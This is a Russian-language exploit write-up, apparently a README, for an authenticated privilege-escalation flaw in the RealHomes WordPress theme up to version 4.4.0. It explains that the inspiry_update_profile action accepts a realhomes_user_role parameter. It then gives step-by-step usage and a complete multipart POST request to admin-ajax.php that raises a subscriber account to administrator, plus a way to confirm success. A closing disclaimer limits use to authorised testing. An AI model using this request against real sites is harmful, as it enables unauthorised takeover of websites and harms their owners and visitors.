
RH - тема WordPress для недвижимости <= 4.4.0 - аутентифицированное (Подписчик+) повышение привилегий
🔥 Сводка об уязвимости
Тема WordPress RealHomes версий <= 4.4.0 уязвима к повышению привилегий. Это позволяет аутентифицированным пользователям с низкими привилегиями (например, подписчикам) повышать свою роль до администратора. Уязвимость возникает через функцию inspiry_update_profile, которая некорректно позволяет пользователям изменять свою роль, если включена опция ere_allow_users_change_role.
Эта проблема может быть использована отправкой специально сформированного POST-запроса к конечной точке admin-ajax.php с параметром realhomes_user_role, установленным в administrator.
🔍 Затронутая тема
🧪 Возможности эксплуатации
administrator через параметр realhomes_user_role.🧠 Исследователь
🚀 Использование
Войдите на целевой сайт под низкопривилегированным пользователем (например, подписчиком).
Отправьте запрос к конечной точке /wp-admin/admin-ajax.php со следующими POST-данными, включающими realhomes_user_role со значением administrator:
POST /wp-admin/admin-ajax.php HTTP/2
Host: targetsite.com
Cookie: wordpress_logged_in_xxx=...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="first-name"
test
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="last-name"
user
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="realhomes_user_role"
administrator
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="action"
inspiry_update_profile
------WebKitFormBoundaryNGw1yuikHiYVYYsr--
Проверьте ответ: Если запрос выполнен успешно, атакующий получит административный доступ.
Проверьте, открыв страницу /wp-admin/, чтобы подтвердить, были ли предоставлены атакующему права администратора.
🔒 Отказ от ответственности: Это предназначено только для образовательных целей и должно использоваться только на системах, которые принадлежат вам или на тестирование которых вы получили явное разрешение. Неправильное использование этого кода может привести к юридическим последствиям.